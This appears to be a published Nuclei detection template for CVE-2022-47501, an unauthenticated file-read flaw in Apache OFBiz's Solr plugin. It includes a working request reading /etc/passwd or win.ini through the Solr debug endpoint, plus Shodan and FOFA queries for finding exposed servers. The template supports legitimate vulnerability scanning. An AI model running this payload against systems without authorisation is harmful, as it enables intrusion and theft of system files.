Apache OFBiz < 18.12.07 - Local File Inclusion

ID: CVE-2022-47501

Severity: high

Author: your3cho

Tags: cve,cve2022,apache,ofbiz,lfi

Description

Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.

YAML Source

id: CVE-2022-47501

info:
  name: Apache OFBiz < 18.12.07 - Local File Inclusion
  author: your3cho
  severity: high
  description: |
    Arbitrary file reading vulnerability in Apache Software Foundation Apache OFBiz when using the Solr plugin. This is a  pre-authentication attack. This issue affects Apache OFBiz: before 18.12.07.
  reference:
    - https://lists.apache.org/thread/k8s76l0whydy45bfm4b69vq0mf94p3wc
    - http://www.openwall.com/lists/oss-security/2023/04/18/5
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47501
    - http://www.openwall.com/lists/oss-security/2023/04/18/9
    - http://www.openwall.com/lists/oss-security/2023/04/19/1
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-47501
    cwe-id: CWE-22
    epss-score: 0.09756
    epss-percentile: 0.94792
    cpe: cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: ofbiz
    shodan-query:
      - "html:\"OFBiz\""
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - "app=\"Apache_OFBiz\""
      - body="ofbiz"
      - app="apache_ofbiz"
  tags: cve,cve2022,apache,ofbiz,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}"

    payloads:
      path:
        - /etc/passwd
        - c:/windows/win.ini

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and
# digest: 490a004630440220584f29232f1d87c9bfc3f18217b402ba84e5c13243fe277ec4b8fcda1133b424022045a7e3ad39ead30c0704b4a9a38b54163c06cf347ed4115554acdc8a8cac79b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-47501.yaml"

View on Github